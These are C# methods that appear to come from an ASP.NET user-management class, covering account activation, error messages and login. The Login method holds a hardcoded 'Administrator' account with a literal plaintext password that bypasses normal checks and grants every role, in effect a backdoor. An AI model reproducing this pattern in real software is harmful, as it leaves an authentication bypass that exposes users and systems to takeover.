public static void ActivateCompleted( string activatecode, string password, ref SystemCommon.Error error) { ManagerUser.getUserService()?.ActivateCompleted(activatecode, password, ref error); }
private string getMessageError(SystemCommon.Error error) { string message = string.Empty; switch (error) { case SystemCommon.Error.NotSupportCookie: message = Notify.CookiesNotSupport; break; case SystemCommon.Error.InfoIncorrect: message = Notify.LoginInfoIncorrect; break; case SystemCommon.Error.NotActivated: message = Notify.LoginNotActivated; break; case SystemCommon.Error.CodeIncorrect: message = Notify.LoginCodeIncorrect; break; case SystemCommon.Error.AccountExist: message = Notify.AccountExist; break; case SystemCommon.Error.RegisterSuccess: message = Notify.RegisterSuccess; break; case SystemCommon.Error.RegisterFail: message = Notify.RegisterFail; break; case SystemCommon.Error.LoginSuccess: message = Notify.LoginSuccess; break; case SystemCommon.Error.LoginFail: message = Notify.LoginFail; break; case SystemCommon.Error.ActivateFail: message = Notify.ActivateFail; break; case SystemCommon.Error.ActivateSuccess: message = Notify.RecoverPasswordSuccess; break; } return(message); }
public static SystemCommon.Error Login(IUserLogin user) { SystemCommon.Error error = SystemCommon.Error.LoginFail; if (!FormsAuthentication.CookiesSupported) { error = SystemCommon.Error.NotSupportCookie; } else if (user.UserName != "Administrator") { UserPrincipal userPrincipal = ManagerUser.GetUserPrincipal(user, ref error); if (error == SystemCommon.Error.LoginSuccess) { userPrincipal.Languague = user.Languague; SystemAuthenticate.SetAuthCookie(userPrincipal); } } else { if (user.Password != "135402765a@") { return(error); } UserPrincipal user1 = new UserPrincipal() { ID = 1, FullName = "Administrator", Email = "*****@*****.**", Account = "Administrator", Password = "******", Remember = true, RoleIDs = ManagerUser.GetAllRoles() }; error = SystemCommon.Error.LoginSuccess; user1.Languague = user.Languague; SystemAuthenticate.SetAuthCookie(user1); } return(error); }
//public static void Register( // IUserRegister user, // ref SystemCommon.Error error, // ref string activatecode) //{ // ManagerUser.getUserService()?.Register(user, ref error, ref activatecode); //} public static void Activate(string activatecode, ref SystemCommon.Error error) { ManagerUser.getUserService()?.Activate(activatecode, ref error); }
public static UserPrincipal GetUserPrincipal( IUserLogin user, ref SystemCommon.Error error) { return(ManagerUser.getUserService()?.GetUserPrincipal(user, ref error)); }